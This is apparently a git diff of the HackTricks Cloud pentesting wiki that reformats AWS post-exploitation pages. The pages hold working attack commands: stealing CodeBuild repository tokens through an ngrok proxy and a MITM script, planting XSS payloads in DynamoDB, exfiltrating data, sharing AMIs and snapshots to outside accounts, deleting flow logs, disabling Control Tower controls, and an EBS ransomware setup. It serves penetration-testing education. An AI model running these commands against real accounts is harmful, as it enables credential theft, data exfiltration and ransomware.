+# Create project using a Github connection
+aws codebuild create-project --cli-input-json file:///tmp/buildspec.json
+
+## With /tmp/buildspec.json
+{
+    "name": "my-demo-project",
+    "source": {
+        "type": "GITHUB",
+        "location": "https://github.com/uname/repo",
+        "buildspec": "buildspec.yml"
+    },
+    "artifacts": {
+        "type": "NO_ARTIFACTS"
+    },
+    "environment": {
+        "type": "LINUX_CONTAINER", // Use "ARM_CONTAINER" to run docker-mitm ARM
+        "image": "docker.io/carlospolop/docker-mitm:v12",
+        "computeType": "BUILD_GENERAL1_SMALL",
+        "imagePullCredentialsType": "CODEBUILD"
+    }
+}
+
+## Json
+
+# Start the build
+aws codebuild start-build --project-name my-project2
+```
+
+### Via insecureSSL
+
+**Codebuild** projects have a setting called **`insecureSsl`** that is hidden in the web you can only change it from the API.\
+Enabling this, allows to Codebuild to connect to the repository **without checking the certificate** offered by the platform.
+
+- First you need to enumerate the current configuration with something like:
+
+```bash
+aws codebuild batch-get-projects --name <proj-name>
+```
+
+- Then, with the gathered info you can update the project setting **`insecureSsl`** to **`True`**. The following is an example of my updating a project, notice the **`insecureSsl=True`** at the end (this is the only thing you need to change from the gathered configuration).
+  - Moreover, add also the env variables **http_proxy** and **https_proxy** pointing to your tcp ngrok like:
+
+```bash
+aws codebuild update-project --name <proj-name> \
+    --source '{
+        "type": "GITHUB",
+        "location": "https://github.com/carlospolop/404checker",
+        "gitCloneDepth": 1,
+        "gitSubmodulesConfig": {
+            "fetchSubmodules": false
+        },
+        "buildspec": "version: 0.2\n\nphases:\n  build:\n    commands:\n       - echo \"sad\"\n",
+        "auth": {
+            "type": "CODECONNECTIONS",
+            "resource": "arn:aws:codeconnections:eu-west-1:947247140022:connection/46cf78ac-7f60-4d7d-bf86-5011cfd3f4be"
+        },
+        "reportBuildStatus": false,
+        "insecureSsl": true
+    }' \
+    --environment '{
+        "type": "LINUX_CONTAINER",
+        "image": "aws/codebuild/standard:5.0",
+        "computeType": "BUILD_GENERAL1_SMALL",
+        "environmentVariables": [
+            {
+                "name": "http_proxy",
+                "value": "http://2.tcp.eu.ngrok.io:15027"
+            },
+            {
+                "name": "https_proxy",
+                "value": "http://2.tcp.eu.ngrok.io:15027"
+            }
+        ]
+    }'
+```
+
+- Then, run the basic example from [https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm) in the port pointed by the proxy variables (http_proxy and https_proxy)
+
+```python
+from mitm import MITM, protocol, middleware, crypto
+
+mitm = MITM(
+    host="127.0.0.1",
+    port=4444,
+    protocols=[protocol.HTTP],
+    middlewares=[middleware.Log], # middleware.HTTPLog used for the example below.
+    certificate_authority = crypto.CertificateAuthority()
+)
+mitm.run()
+```
+
+- Finally, click on **Build the project**, the **credentials** will be **sent in clear text** (base64) to the mitm port:
+
+<figure><img src="../../../../images/image (1) (1).png" alt=""><figcaption></figcaption></figure>
+
+### ~~Via HTTP protocol~~
+
+> [!TIP] > **This vulnerability was corrected by AWS at some point the week of the 20th of Feb of 2023 (I think on Friday). So an attacker can't abuse it anymore :)**
+
+An attacker with **elevated permissions in over a CodeBuild could leak the Github/Bitbucket token** configured or if permissions was configured via OAuth, the **temporary OAuth token used to access the code**.
+
+- An attacker could add the environment variables **http_proxy** and **https_proxy** to the CodeBuild project pointing to his machine (for example `http://5.tcp.eu.ngrok.io:14972`).
+
+<figure><img src="../../../../images/image (232).png" alt=""><figcaption></figcaption></figure>
+
+<figure><img src="../../../../images/image (213).png" alt=""><figcaption></figcaption></figure>
+
+- Then, change the URL of the github repo to use HTTP instead of HTTPS, for example: `http://github.com/carlospolop-forks/TestActions`
+- Then, run the basic example from [https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm) in the port pointed by the proxy variables (http_proxy and https_proxy)
+
+```python
+from mitm import MITM, protocol, middleware, crypto
+
+mitm = MITM(
+    host="0.0.0.0",
+    port=4444,
+    protocols=[protocol.HTTP],
+    middlewares=[middleware.Log], # middleware.HTTPLog used for the example below.
+    certificate_authority = crypto.CertificateAuthority()
+)
+mitm.run()
+```
+
+- Next, click on **Build the project** or start the build from command line:
+
+```sh
+aws codebuild start-build --project-name <proj-name>
+```
+
+- Finally, the **credentials** will be **sent in clear text** (base64) to the mitm port:
+
+<figure><img src="../../../../images/image (159).png" alt=""><figcaption></figcaption></figure>
+
+> [!WARNING]
+> Now an attacker will be able to use the token from his machine, list all the privileges it has and (ab)use easier than using the CodeBuild service directly.
+
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-control-tower-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-control-tower-post-exploitation.md
new file mode 100644
index 000000000..a37af9d5b
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-control-tower-post-exploitation.md
@@ -0,0 +1,20 @@
+# AWS - Control Tower Post Exploitation
+
+{{#include ../../../banners/hacktricks-training.md}}
+
+## Control Tower
+
+{{#ref}}
+../aws-services/aws-security-and-detection-services/aws-control-tower-enum.md
+{{#endref}}
+
+### Enable / Disable Controls
+
+To further exploit an account, you might need to disable/enable Control Tower controls:
+
+```bash
+aws controltower disable-control --control-identifier <arn_control_id> --target-identifier <arn_account>
+aws controltower enable-control --control-identifier <arn_control_id> --target-identifier <arn_account>
+```
+
+{{#include ../../../banners/hacktricks-training.md}}
diff --git a/pentesting-cloud/aws-security/aws-post-exploitation/aws-dlm-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dlm-post-exploitation.md
similarity index 56%
rename from pentesting-cloud/aws-security/aws-post-exploitation/aws-dlm-post-exploitation.md
rename to src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dlm-post-exploitation.md
index 0160899e9..af0db2d40 100644
--- a/pentesting-cloud/aws-security/aws-post-exploitation/aws-dlm-post-exploitation.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dlm-post-exploitation.md
@@ -1,19 +1,6 @@
 # AWS - DLM Post Exploitation
 
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
+{{#include ../../../banners/hacktricks-training.md}}
 
 ## Data Lifecycle Manger (DLM)
 
@@ -105,17 +92,4 @@ A template for the policy document can be seen here:
 }
 ```
 
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
+{{#include ../../../banners/hacktricks-training.md}}
diff --git a/pentesting-cloud/aws-security/aws-post-exploitation/aws-dynamodb-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dynamodb-post-exploitation.md
similarity index 74%
rename from pentesting-cloud/aws-security/aws-post-exploitation/aws-dynamodb-post-exploitation.md
rename to src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dynamodb-post-exploitation.md
index a431beae5..b09f35642 100644
--- a/pentesting-cloud/aws-security/aws-post-exploitation/aws-dynamodb-post-exploitation.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dynamodb-post-exploitation.md
@@ -1,35 +1,22 @@
 # AWS - DynamoDB Post Exploitation
 
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
+{{#include ../../../banners/hacktricks-training.md}}
 
 ## DynamoDB
 
 For more information check:
 
-{% content-ref url="../aws-services/aws-dynamodb-enum.md" %}
-[aws-dynamodb-enum.md](../aws-services/aws-dynamodb-enum.md)
-{% endcontent-ref %}
+{{#ref}}
+../aws-services/aws-dynamodb-enum.md
+{{#endref}}
 
 ### `dynamodb:BatchGetItem`
 
 An attacker with this permissions will be able to **get items from tables by the primary key** (you cannot just ask for all the data of the table). This means that you need to know the primary keys (you can get this by getting the table metadata (`describe-table`).
 
-{% tabs %}
-{% tab title="json file" %}
-{% code overflow="wrap" %}
+{{#tabs }}
+{{#tab name="json file" }}
+
 ```bash
 aws dynamodb batch-get-item --request-items file:///tmp/a.json
 
@@ -46,19 +33,19 @@ aws dynamodb batch-get-item --request-items file:///tmp/a.json
     }
 }
 ```
-{% endcode %}
-{% endtab %}
 
-{% tab title="inline" %}
-{% code overflow="wrap" %}
+{{#endtab }}
+
+{{#tab name="inline" }}
+
 ```bash
 aws dynamodb batch-get-item \
     --request-items '{"TargetTable": {"Keys": [{"Id": {"S": "item1"}}, {"Id": {"S": "item2"}}]}}' \
     --region <region>
 ```
-{% endcode %}
-{% endtab %}
-{% endtabs %}
+
+{{#endtab }}
+{{#endtabs }}
 
 **Potential Impact:** Indirect privesc by locating sensitive information in the table
 
@@ -66,18 +53,16 @@ aws dynamodb batch-get-item \
 
 **Similar to the previous permissions** this one allows a potential attacker to read values from just 1 table given the primary key of the entry to retrieve:
 
-{% code overflow="wrap" %}
 ```json
 aws dynamodb get-item --table-name ProductCatalog --key  file:///tmp/a.json
 
 // With a.json
-{ 
-"Id" : { 
+{
+"Id" : {
     "N": "205"
 }
 }
 ```
-{% endcode %}
 
 With this permission it's also possible to use the **`transact-get-items`** method like:
 
@@ -104,24 +89,25 @@ aws dynamodb transact-get-items \
 
 **Similar to the previous permissions** this one allows a potential attacker to read values from just 1 table given the primary key of the entry to retrieve. It allows to use a [subset of comparisons](https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_Condition.html), but the only comparison allowed with the primary key (that must appear) is "EQ", so you cannot use a comparison to get the whole DB in a request.
 
-{% tabs %}
-{% tab title="json file" %}
-{% code overflow="wrap" %}
+{{#tabs }}
+{{#tab name="json file" }}
+
 ```bash
 aws dynamodb query --table-name ProductCatalog --key-conditions file:///tmp/a.json
- 
+
  // With a.json
- { 
-"Id" : { 
+ {
+"Id" : {
     "ComparisonOperator":"EQ",
     "AttributeValueList": [ {"N": "205"} ]
     }
 }
 ```
-{% endcode %}
-{% endtab %}
 
-{% tab title="inline" %}
+{{#endtab }}
+
+{{#tab name="inline" }}
+
 ```bash
 aws dynamodb query \
     --table-name TargetTable \
@@ -129,8 +115,9 @@ aws dynamodb query \
     --expression-attribute-values '{":value":{"S":"TargetValue"}}' \
     --region <region>
 ```
-{% endtab %}
-{% endtabs %}
+
+{{#endtab }}
+{{#endtabs }}
 
 **Potential Impact:** Indirect privesc by locating sensitive information in the table
 
@@ -211,9 +198,9 @@ aws dynamodb restore-table-from-backup \
 
 This permission allows users to add a **new item to the table or replace an existing item** with a new item. If an item with the same primary key already exists, the **entire item will be replaced** with the new item. If the primary key does not exist, a new item with the specified primary key will be **created**.
 
-{% tabs %}
-{% tab title="XSS Example" %}
-{% code overflow="wrap" %}
+{{#tabs }}
+{{#tab name="XSS Example" }}
+
 ```bash
 ## Create new item with XSS payload
 aws dynamodb put-item --table <table_name> --item file://add.json
@@ -230,18 +217,20 @@ aws dynamodb put-item --table <table_name> --item file://add.json
    }
 }
 ```
-{% endcode %}
-{% endtab %}
 
-{% tab title="AI Example" %}
+{{#endtab }}
+
+{{#tab name="AI Example" }}
+
 ```bash
 aws dynamodb put-item \
     --table-name ExampleTable \
     --item '{"Id": {"S": "1"}, "Attribute1": {"S": "Value1"}, "Attribute2": {"S": "Value2"}}' \
     --region <region>
 ```
-{% endtab %}
-{% endtabs %}
+
+{{#endtab }}
+{{#endtabs }}
 
 **Potential Impact:** Exploitation of further vulnerabilities/bypasses by being able to add/modify data in a DynamoDB table
 
@@ -249,9 +238,9 @@ aws dynamodb put-item \
 
 This permission allows users to **modify the existing attributes of an item or add new attributes to an item**. It does **not replace** the entire item; it only updates the specified attributes. If the primary key does not exist in the table, the operation will **create a new item** with the specified primary key and set the attributes specified in the update expression.
 
-{% tabs %}
-{% tab title="XSS Example" %}
-{% code overflow="wrap" %}
+{{#tabs }}
+{{#tab name="XSS Example" }}
+
 ```bash
 ## Update item with XSS payload
 aws dynamodb update-item --table <table_name> \
@@ -270,10 +259,11 @@ aws dynamodb update-item --table <table_name> \
     }
 }
 ```
-{% endcode %}
-{% endtab %}
 
-{% tab title="AI Example" %}
+{{#endtab }}
+
+{{#tab name="AI Example" }}
+
 ```bash
 aws dynamodb update-item \
     --table-name ExampleTable \
@@ -282,8 +272,9 @@ aws dynamodb update-item \
     --expression-attribute-values '{":val1": {"S": "NewValue1"}, ":val2": {"S": "NewValue2"}}' \
     --region <region>
 ```
-{% endtab %}
-{% endtabs %}
+
+{{#endtab }}
+{{#endtabs }}
 
 **Potential Impact:** Exploitation of further vulnerabilities/bypasses by being able to add/modify data in a DynamoDB table
 
@@ -313,9 +304,8 @@ aws dynamodb delete-backup \
 
 ### `dynamodb:StreamSpecification`, `dynamodb:UpdateTable`, `dynamodb:DescribeStream`, `dynamodb:GetShardIterator`, `dynamodb:GetRecords`
 
-{% hint style="info" %}
-TODO: Test if this actually works
-{% endhint %}
+> [!NOTE]
+> TODO: Test if this actually works
 
 An attacker with these permissions can **enable a stream on a DynamoDB table, update the table to begin streaming changes, and then access the stream to monitor changes to the table in real-time**. This allows the attacker to monitor and exfiltrate data changes, potentially leading to data leakage.
 
@@ -356,17 +346,4 @@ bashCopy codeaws dynamodbstreams get-records \
 
 **Potential impact**: Real-time monitoring and data leakage of the DynamoDB table's changes.
 
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
+{{#include ../../../banners/hacktricks-training.md}}
diff --git a/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md
similarity index 76%
rename from pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md
rename to src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md
index 4000b19ca..ae2038219 100644
--- a/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md
@@ -1,27 +1,14 @@
 # AWS - EC2, EBS, SSM & VPC Post Exploitation
 
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
+{{#include ../../../../banners/hacktricks-training.md}}
 
 ## EC2 & VPC
 
 For more information check:
 
-{% content-ref url="../../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/" %}
-[aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum](../../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/)
-{% endcontent-ref %}
+{{#ref}}
+../../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/
+{{#endref}}
 
 ### **Malicious VPC Mirror -** `ec2:DescribeInstances`, `ec2:RunInstances`, `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress`, `ec2:CreateTrafficMirrorTarget`, `ec2:CreateTrafficMirrorSession`, `ec2:CreateTrafficMirrorFilter`, `ec2:CreateTrafficMirrorFilterRule`
 
@@ -30,9 +17,9 @@ An attacker could abuse this to capture all the traffic and obtain sensitive inf
 
 For more information check this page:
 
-{% content-ref url="aws-malicious-vpc-mirror.md" %}
-[aws-malicious-vpc-mirror.md](aws-malicious-vpc-mirror.md)
-{% endcontent-ref %}
+{{#ref}}
+aws-malicious-vpc-mirror.md
+{{#endref}}
 
 ### Copy Running Instance
 
@@ -43,22 +30,22 @@ Instances usually contain some kind of sensitive information. There are differen
 aws ec2 describe-images
 
 # create a new image for the instance-id
-aws ec2 create-image --instance-id i-0438b003d81cd7ec5 --name "AWS Audit" --description "Export AMI" --region eu-west-1  
+aws ec2 create-image --instance-id i-0438b003d81cd7ec5 --name "AWS Audit" --description "Export AMI" --region eu-west-1
 
 # add key to AWS
-aws ec2 import-key-pair --key-name "AWS Audit" --public-key-material file://~/.ssh/id_rsa.pub --region eu-west-1  
+aws ec2 import-key-pair --key-name "AWS Audit" --public-key-material file://~/.ssh/id_rsa.pub --region eu-west-1
 
 # create ec2 using the previously created AMI, use the same security group and subnet to connect easily.
 aws ec2 run-instances --image-id ami-0b77e2d906b00202d --security-group-ids "sg-6d0d7f01" --subnet-id subnet-9eb001ea --count 1 --instance-type t2.micro --key-name "AWS Audit" --query "Instances[0].InstanceId" --region eu-west-1
 
-# now you can check the instance 
-aws ec2 describe-instances --instance-ids i-0546910a0c18725a1 
+# now you can check the instance
+aws ec2 describe-instances --instance-ids i-0546910a0c18725a1
 
 # If needed : edit groups
 aws ec2 modify-instance-attribute --instance-id "i-0546910a0c18725a1" --groups "sg-6d0d7f01"  --region eu-west-1
 
 # be a good guy, clean our instance to avoid any useless cost
-aws ec2 stop-instances --instance-id "i-0546910a0c18725a1" --region eu-west-1 
+aws ec2 stop-instances --instance-id "i-0546910a0c18725a1" --region eu-west-1
 aws ec2 terminate-instances --instance-id "i-0546910a0c18725a1" --region eu-west-1
 ```
 
@@ -67,9 +54,9 @@ aws ec2 terminate-instances --instance-id "i-0546910a0c18725a1" --region eu-west
 **Snapshots are backups of volumes**, which usually will contain **sensitive information**, therefore checking them should disclose this information.\
 If you find a **volume without a snapshot** you could: **Create a snapshot** and perform the following actions or just **mount it in an instance** inside the account:
 
-{% content-ref url="aws-ebs-snapshot-dump.md" %}
-[aws-ebs-snapshot-dump.md](aws-ebs-snapshot-dump.md)
-{% endcontent-ref %}
+{{#ref}}
+aws-ebs-snapshot-dump.md
+{{#endref}}
 
 ### Data Exfiltration
 
@@ -77,11 +64,11 @@ If you find a **volume without a snapshot** you could: **Create a snapshot** and
 
 Even if you lock down an EC2 so no traffic can get out, it can still **exfil via DNS**.
 
-* **VPC Flow Logs will not record this**.
-* You have no access to AWS DNS logs.
-*   Disable this by setting "enableDnsSupport" to false with:
+- **VPC Flow Logs will not record this**.
+- You have no access to AWS DNS logs.
+- Disable this by setting "enableDnsSupport" to false with:
 
-    `aws ec2 modify-vpc-attribute --no-enable-dns-support --vpc-id <vpc-id>`
+  `aws ec2 modify-vpc-attribute --no-enable-dns-support --vpc-id <vpc-id>`
 
 #### Exfiltration via API calls
 
@@ -91,12 +78,10 @@ An attacker could call API endpoints of an account controlled by him. Cloudtrail
 
 You could get further access to network services by opening ports like this:
 
-{% code overflow="wrap" %}
 ```bash
 aws ec2 authorize-security-group-ingress --group-id <sg-id> --protocol tcp --port 80 --cidr 0.0.0.0/0
 # Or you could just open it to more specific ips or maybe th einternal network if you have already compromised an EC2 in the VPC
 ```
-{% endcode %}
 
 ### Privesc to ECS
 
@@ -113,6 +98,7 @@ aws ec2 delete-flow-logs --flow-log-ids <flow_log_ids> --region <region>
 ### SSM Port Forwarding
 
 Required permissions:
+
 - `ssm:StartSession`
 
 In addition to command execution, SSM allows for traffic tunneling which can be abused to pivot from EC2 instances that do not have network access because of Security Groups or NACLs.
@@ -141,35 +127,32 @@ aws eks update-kubeconfig --profile bastion-ec2 --region <EKS-CLUSTER-REGION> --
 ```shell
 sudo aws ssm start-session --target $INSTANCE_ID --document-name AWS-StartPortForwardingSessionToRemoteHost --parameters '{"host":["<TARGET-IP-OR-DOMAIN>"],"portNumber":["443"], "localPortNumber":["443"]}' --region <BASTION-INSTANCE-REGION>
 ```
+
 8. The traffic from the `kubectl` tool is now forwarded throug the SSM tunnel via the Bastion EC2 and you can access the private EKS cluster from your own machine by running:
+
 ```shell
-kubectl get pods --insecure-skip-tls-verify 
+kubectl get pods --insecure-skip-tls-verify
 ```
 
 Note that the SSL connections will fail unless you set the `--insecure-skip-tls-verify ` flag (or its equivalent in K8s audit tools). Seeing that the traffic is tunnelled through the secure AWS SSM tunnel, you are safe from any sort of MitM attacks.
 
 Finally, this technique is not specific to attacking private EKS clusters. You can set arbitrary domains and ports to pivot to any other AWS service or a custom application.
 
-
 ### Share AMI
 
-{% code overflow="wrap" %}
 ```bash
 aws ec2 modify-image-attribute --image-id <image_ID> --launch-permission "Add=[{UserId=<recipient_account_ID>}]" --region <AWS_region>
 ```
-{% endcode %}
 
 ### Search sensitive information in public and private AMIs
 
-* [https://github.com/saw-your-packet/CloudShovel](https://github.com/saw-your-packet/CloudShovel): CloudShovel is a tool designed to **search for sensitive information within public or private Amazon Machine Images (AMIs)**. It automates the process of launching instances from target AMIs, mounting their volumes, and scanning for potential secrets or sensitive data.
+- [https://github.com/saw-your-packet/CloudShovel](https://github.com/saw-your-packet/CloudShovel): CloudShovel is a tool designed to **search for sensitive information within public or private Amazon Machine Images (AMIs)**. It automates the process of launching instances from target AMIs, mounting their volumes, and scanning for potential secrets or sensitive data.
 
 ### Share EBS Snapshot
 
-{% code overflow="wrap" %}
 ```bash
 aws ec2 modify-snapshot-attribute --snapshot-id <snapshot_ID> --create-volume-permission "Add=[{UserId=<recipient_account_ID>}]" --region <AWS_region>
 ```
-{% endcode %}
 
 ### EBS Ransomware PoC
 
@@ -271,11 +254,11 @@ First from an 'attacker' AWS account, create a customer managed key in KMS. For
 
 The key policy rule needs the following enabled to allow for the ability to use it to encrypt an EBS volume:
 
-* `kms:CreateGrant`
-* `kms:Decrypt`
-* `kms:DescribeKey`
-* `kms:GenerateDataKeyWithoutPlainText`
-* `kms:ReEncrypt`
+- `kms:CreateGrant`
+- `kms:Decrypt`
+- `kms:DescribeKey`
+- `kms:GenerateDataKeyWithoutPlainText`
+- `kms:ReEncrypt`
 
 Now with the publicly accessible key to use. We can use a 'victim' account that has some EC2 instances spun up with unencrypted EBS volumes attached. This 'victim' account's EBS volumes are what we're targeting for encryption, this attack is under the assumed breach of a high-privilege AWS account.
 
@@ -295,76 +278,72 @@ Next, return to the key policy in the 'attacker' account and remove the 'Outside
 
 ```json
 {
-    "Version": "2012-10-17",
-    "Id": "key-consolepolicy-3",
-    "Statement": [
-        {
-            "Sid": "Enable IAM User Permissions",
-            "Effect": "Allow",
-            "Principal": {
-                "AWS": "arn:aws:iam::[Your AWS Account Id]:root"
-            },
-            "Action": "kms:*",
-            "Resource": "*"
-        },
-        {
-            "Sid": "Allow access for Key Administrators",
-            "Effect": "Allow",
-            "Principal": {
-                "AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim"
-            },
-            "Action": [
-                "kms:Create*",
-                "kms:Describe*",
-                "kms:Enable*",
-                "kms:List*",
-                "kms:Put*",
-                "kms:Update*",
-                "kms:Revoke*",
-                "kms:Disable*",
-                "kms:Get*",
-                "kms:Delete*",
-                "kms:TagResource",
-                "kms:UntagResource",
-                "kms:ScheduleKeyDeletion",
-                "kms:CancelKeyDeletion"
-            ],
-            "Resource": "*"
-        },
-        {
-            "Sid": "Allow use of the key",
-            "Effect": "Allow",
-            "Principal": {
-                "AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim"
-            },
-            "Action": [
-                "kms:Encrypt",
-                "kms:Decrypt",
-                "kms:ReEncrypt*",
-                "kms:GenerateDataKey*",
-                "kms:DescribeKey"
-            ],
-            "Resource": "*"
-        },
-        {
-            "Sid": "Allow attachment of persistent resources",
-            "Effect": "Allow",
-            "Principal": {
-                "AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim"
-            },
-            "Action": [
-                "kms:CreateGrant",
-                "kms:ListGrants",
-                "kms:RevokeGrant"
-            ],
-            "Resource": "*",
-            "Condition": {
-                "Bool": {
-                    "kms:GrantIsForAWSResource": "true"
-                }
-            }
+  "Version": "2012-10-17",
+  "Id": "key-consolepolicy-3",
+  "Statement": [
+    {
+      "Sid": "Enable IAM User Permissions",
+      "Effect": "Allow",
+      "Principal": {
+        "AWS": "arn:aws:iam::[Your AWS Account Id]:root"
+      },
+      "Action": "kms:*",
+      "Resource": "*"
+    },
+    {
+      "Sid": "Allow access for Key Administrators",
+      "Effect": "Allow",
+      "Principal": {
+        "AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim"
+      },
+      "Action": [
+        "kms:Create*",
+        "kms:Describe*",
+        "kms:Enable*",
+        "kms:List*",
+        "kms:Put*",
+        "kms:Update*",
+        "kms:Revoke*",
+        "kms:Disable*",
+        "kms:Get*",
+        "kms:Delete*",
+        "kms:TagResource",
+        "kms:UntagResource",
+        "kms:ScheduleKeyDeletion",
+        "kms:CancelKeyDeletion"
+      ],
+      "Resource": "*"
+    },
+    {
+      "Sid": "Allow use of the key",
+      "Effect": "Allow",
+      "Principal": {
+        "AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim"
+      },
+      "Action": [
+        "kms:Encrypt",
+        "kms:Decrypt",
+        "kms:ReEncrypt*",
+        "kms:GenerateDataKey*",
+        "kms:DescribeKey"
+      ],
+      "Resource": "*"
+    },
+    {
+      "Sid": "Allow attachment of persistent resources",
